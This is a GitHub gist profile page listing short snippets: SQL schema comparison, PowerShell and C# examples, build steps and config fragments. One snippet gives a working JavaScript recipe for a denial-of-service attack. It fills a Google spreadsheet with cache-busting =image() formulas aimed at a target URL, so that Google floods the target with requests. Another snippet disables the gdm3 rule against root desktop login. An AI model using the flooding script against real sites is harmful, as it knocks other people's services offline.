Skip to content

Instantly share code, notes, and snippets.

View ichensky's full-sized avatar

ichensky

View GitHub Profile
@ichensky
ichensky / gist:5694928
Created June 2, 2013 20:51
Compare data of two oracle schemas.
/******************************************************************************
* Compare data of two schemas.
* Otput data is:
* Table name of base schema: count of difference rows between two schemas
******************************************************************************/
set serveroutput ON;
DECLARE
s1 VARCHAR2(100) := 'Base_Shema'; -- base schema
s2 VARCHAR2(100) := 'Schema2';
BEGIN
@ichensky
ichensky / gist:5694934
Created June 2, 2013 20:53
Download group of files from ex.ua
Add-Type -Assembly System.Web
$FullFileName = "C:\Users\D\Desktop\15462919.urls.urls"
$FullFolderName = "C:\Users\D\Desktop\File\"
function originalFileName($originalURI)
{
$indexOfSlash = $response.ResponseUri.OriginalString.LastIndexOf("/")
$originalName = $originalURI.Remove(0, $indexOfSlash + 1).Replace("-", "")
@ichensky
ichensky / gist:5834767
Created June 21, 2013 22:19
rotate matrix on angel 90
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApplication2
{
class Program
{
@ichensky
ichensky / gist:11127169
Created April 20, 2014 22:47
Thread simple
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Diagnostics.Contracts;
using System.Globalization;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
@ichensky
ichensky / gist:70e5009c64c1b98aa86a
Last active January 3, 2020 00:58
google spreadsheet ddos
1. Create google spreadsheet
2. Open any website
3. Write by hands into browser url:
javascript:
4. Insert after it and press Enter or insert text into dev. console (PS. change main function parameters):
main("http://gfsdgfdsj-001-site1.myasp.net/img", 100); function makeid(n) { var text = ""; var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; for( var i=0; i < n; i++ ) text += possible.charAt(Math.floor(Math.random() * possible.length)); return text; } function generateStr(url, x) { var div = document.createElement("div"); for( var i=0; i < x; i++ ) { var p = document.createElement("p"); var t = document.createTextNode('=image("' + url + "/?" + makeid(5) + '=' + makeid(16) + '")'); p.appendChild(t); div.appendChild(p); } document.body.innerHTML = ""; document.body.appendChild(div); } function main(url, x) { generateStr(url, x);}
4. Copy all text: Ctrl+A Ctrl+C
5. Insert buffer into google spreadsheet.
@ichensky
ichensky / gist:17e592a4c4cd8098c3e9
Last active August 29, 2015 14:14
Install bitcoin core
git clone https://github.com/bitcoin/bitcoin.git
cd bitcoin
./autogen.sh
./configure
sudo apt-get install libdb5.1++-dev
./configure --with-incompatible-bdb
sudo apt-get install libboost-all-dev
sudo apt-get install libqt4-core libqt4-gui libqt4-dev
make
make install
tar xzf file.tar.gz
tar xjf file.tar.bz2
@ichensky
ichensky / gist:7df0b7989b473366a300
Created February 11, 2015 19:26
gnome3 as root
nano /etc/pam.d/gdm3
#auth required pam_succeed_if.so user != root quiet_success
/var/log/nginx
/var/lib/nginx
/usr/sbin/nginx
/usr/share/doc/nginx
/usr/share/nginx
/etc/init.d/nginx
/etc/logrotate.d/nginx
/etc/nginx
/etc/default/nginx
/etc/ufw/applications.d/nginx
<?xml version="1.0" encoding="utf-8"?>
<!--
Web.config file for vc.
The settings that can be used in this file are documented at
http://www.mono-project.com/Config_system.web and
http://msdn2.microsoft.com/en-us/library/b5ysx397.aspx
-->
<configuration>
<configSections>